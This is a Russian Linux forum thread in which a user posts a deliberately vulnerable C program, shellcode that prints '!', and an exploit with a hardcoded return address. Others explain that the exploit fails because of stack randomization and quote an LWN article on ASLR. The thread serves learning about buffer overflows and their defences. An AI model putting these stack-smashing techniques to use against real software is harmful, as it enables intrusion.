Переполнение буфера (не могу осуществить)

Модератор: Модераторы разделов

Аватара пользователя
RasenHerz
Сообщения: 1341
ОС: Arch Linux amd64

Переполнение буфера

Сообщение RasenHerz »

Допустим, есть уязвимый код:

Код: Выделить всё

#include <stdio.h>
#include <string.h>

int overflow(char *mem){
  char str[4];
  (strcpy(str, mem));
  return 0;
}

int main(int argc, char *argv[]){
  if (argc < 2){
    printf("This Is Program with Buffer Overflow.\n"
       "Using: <Program Name> <String Argument>\n\n");
    return 0;
  }
  overflow(argv[1]);
  return 0;
}

думаю, все видят что в функции overflow(char*) это переполнение и происходит ) .
методом "тыка" я узнал что "верхним пределом", после которого осуществляется переполнение, является длина строки mem равная 8 байтам.
далее, составил эксплойт( который просто печает на экране "!"):

Код: Выделить всё

char exploit[] = "\x01\x01\x01\x01"
                 "\x01\x01\x01\x01" //эти символы затрут $ebp
                 "\x01\x01\x01\x01" /а эти затрут $eip
                 "\x83\xec\x08\xc7\x04\x24\x66\x86" // сам шелл-код
                 "\x04\x08\xe8\xe2\xfd\xff\xff\x31"
                 "\xc0\xc9\xc3";

далее в отладчике я узнал, что после того как я затру регистры $ESP и $EBP, шелл попадет в стек на адрес 0xbf86a5b0. потом написал сам эксплойт:

Код: Выделить всё

#include <stdio.h>
#include <unistd.h>

char exploit[] = "\x01\x01\x01\x01"
                 "\x01\x01\x01\x01"
                 "\x01\x01\x01\x01"
                 "\x83\xec\x08\xc7\x04\x24\x66\x86"
                 "\x04\x08\xe8\xe2\xfd\xff\xff\x31"
                 "\xc0\xc9\xc3";

int main(int argc, char *argv[]){
  long RET = 0xbf86a5b0;

  *(long*)(exploit+4) = RET; //запишем в $ebp и $eip нужный адрес возврата
  *(long*)(exploit+8) = RET; //

  char *args[3];
  char progname[] = "buff_ovr";

  args[0] = progname;
  args[1] = exploit;
  args[2] = NULL;
  execv(args[0], args); //запустим программу, передав ей в качестве аргумента эксплойт.
  return 0;
}


а теперь самое интересное - шелл не работает))) оказывается, что он никогда не попадает на один и тот же адрес в стеке(.
пробовал пременять разную технику, посмотрел даже в Интернете, но везде почему-то используют адрес, полученный в отладчике!!!
что-то я совсем не пойму, в чем дело. может кто-нибудь обяснить как в таком случае осуществить переполнение буфера?
Спасибо сказали:
Аватара пользователя
/dev/random
Администратор
Сообщения: 5456
ОС: Gentoo

Re: Переполнение буфера

Сообщение /dev/random »

Что за ядро? grsec/PaX случайно не присутствует?
Спасибо сказали:
Аватара пользователя
RasenHerz
Сообщения: 1341
ОС: Arch Linux amd64

Re: Переполнение буфера

Сообщение RasenHerz »

ядро 2.6.25, собрано с SELinux, политики (policies) которого я еще не настраивал, т.е. все настройки по-умолчанию. GRSec или PaX не ставил(вернее не патчил под них ядро).
я конечно же понимаю, что это хорошо, что переполения тяжело добиться))) но мне это нужно)
Спасибо сказали:
Аватара пользователя
S7a1k3r
Сообщения: 159
Статус: Белгородский LUG
ОС: Arch Linux

Re: Переполнение буфера

Сообщение S7a1k3r »

аха. так и есть.

Код:

(gdb) r `perl -e 'print "A"x1000'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/stalker/overflow/prog `perl -e 'print "A"x1000'` Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) i r eax 0x0 0 ecx 0xbfe39883 -1075603325 edx 0x3e9 1001 ebx 0xb7dcfff4 -1210253324 esp 0xbfe39890 0xbfe39890 ebp 0x41414141 0x41414141 esi 0x0 0 edi 0x8048400 134513664 eip 0x41414141 0x41414141 eflags 0x10246 [ PF ZF IF RF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) r `perl -e 'print "A"x1000'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/stalker/overflow/prog `perl -e 'print "A"x1000'` Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) i r eax 0x0 0 ecx 0xbfc37e83 -1077707133 edx 0x3e9 1001 ebx 0xb7dcdff4 -1210261516 esp 0xbfc37e90 0xbfc37e90 ebp 0x41414141 0x41414141 esi 0x0 0 edi 0x8048400 134513664 eip 0x41414141 0x41414141 eflags 0x10246 [ PF ZF IF RF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb)

ядро 2.6.25 (почти ванильное)
Спасибо сказали:
Аватара пользователя
S7a1k3r
Сообщения: 159
Статус: Белгородский LUG
ОС: Arch Linux

Re: Переполнение буфера

Сообщение S7a1k3r »

дабы не использовать одн пост в разных целях

http://lwn.net/Articles/121845/
датировано 2005 годом :)
Arjan van de Ven has posted a series of patches which add some address space randomization to the 2.6 kernel. With these patches applied, each process's stack will begin at a random location, and the beginning of the memory area used for mmap() (which is where shared libraries go, among other things) will be randomized as well. These patches represent an improvement Advertisement

in the kernel's security infrastructure, but the reception on the public lists has been surprisingly hostile. Advertisement


Many buffer overflow exploits, especially those used in large-scale attacks, contain hardcoded addresses. An exploit which overflows a stack variable will place some executable code on the stack; it then overwrites the return pointer so that the broken function "returns" into the exploit code. If you look at a given distribution's shipped version of a vulnerable program, an exploit will always be able to place its payload at the same address on the stack, so it can contain that address directly. If, instead, the exploit author does not know ahead of time where the payload will end up, actually getting the computer to execute that code will be much harder.

That is why the stack randomization patch helps. When the stack location is deterministic, a relatively simple exploit can be made to work on all systems running the vulnerable distribution. If the stack moves, instead, hardcoded addresses no longer work.

Moving the mmap() area has similar benefits. One popular type of exploit prepares the stack and then "returns" into a shared library somewhere. That return can, for example, cause the application to behave as if it had intentionally called system() or a similar library function. Moving the libraries around makes these attacks harder.

One of the biggest complaints that has been raised is that the amount of randomization is insufficient. The patches, as posted, vary the stack base within a 64KB area and the mmap() base within a 1MB range. Alignment requirements prevent just any address from being used with the result that only a relatively small number of possible base addresses exists. So a determined attacker could repeatedly run a hardcoded exploit with some assurance that, within a reasonable amount of time, the stack would land at the right place and the exploit would work. Placing a long series of no-op instructions at the beginning of the payload can also make an exploit more robust when faced with randomization.

Arjan responds that the amount of randomization is not the issue at the moment. He is trying to get the infrastructure into the kernel and tested in a minimally disruptive way; the degree of randomization can be tweaked upward later on. That amount may never get as high as some people would like, at least on 32-bit systems, because it cuts back on the available virtual address space. But it is likely to go up once the developers are convinced that things are working.

In any case, a larger randomness makes the problem harder, but does not change its fundamental nature. With the ability to keep trying, an attacker will eventually get around any degree of randomization possible on 32-bit systems (64-bit systems are a different story). Thus, says Ingo Molnar:

conclusion: stack randomisation (and other VM randomisations) are not a tool against local attacks (which are much easier and faster to brute-force) or against targeted remote attacks, but mainly a tool to degrade the economy of automated remote attacks.

Randomization is not a magic bullet which solves a wide range of security problems. It does make an attack harder, however, and that can only be a good thing.

http://en.wikipedia.org/wiki/Address_space...t_randomization
Спасибо сказали:
Аватара пользователя
RasenHerz
Сообщения: 1341
ОС: Arch Linux amd64

Re: Переполнение буфера

Сообщение RasenHerz »

я уже понял, что у меня рандомизуется адресное пространство(специально для усложнения подобных атак на код),
и думаю, придется с этим смириться(. но перед этим хочу узнать:

можно ли запустить процесс и трассировать его? т.е. запустить атакуемую программу и шаг за шагом выяснять куда и каким образом расположить шелл?
Спасибо сказали:
Аватара пользователя
S7a1k3r
Сообщения: 159
Статус: Белгородский LUG
ОС: Arch Linux

Re: Переполнение буфера

Сообщение S7a1k3r »

RasenHerz писал(а):
14.06.2008 02:24
я уже понял, что у меня рандомизуется адресное пространство(специально для усложнения подобных атак на код),
и думаю, придется с этим смириться(. но перед этим хочу узнать:

можно ли запустить процесс и трассировать его? т.е. запустить атакуемую программу и шаг за шагом выяснять куда и каким образом расположить шелл?

можно все (включая получение значения esp)
http://1wt.eu/tools/genovex/overflow.html
Спасибо сказали: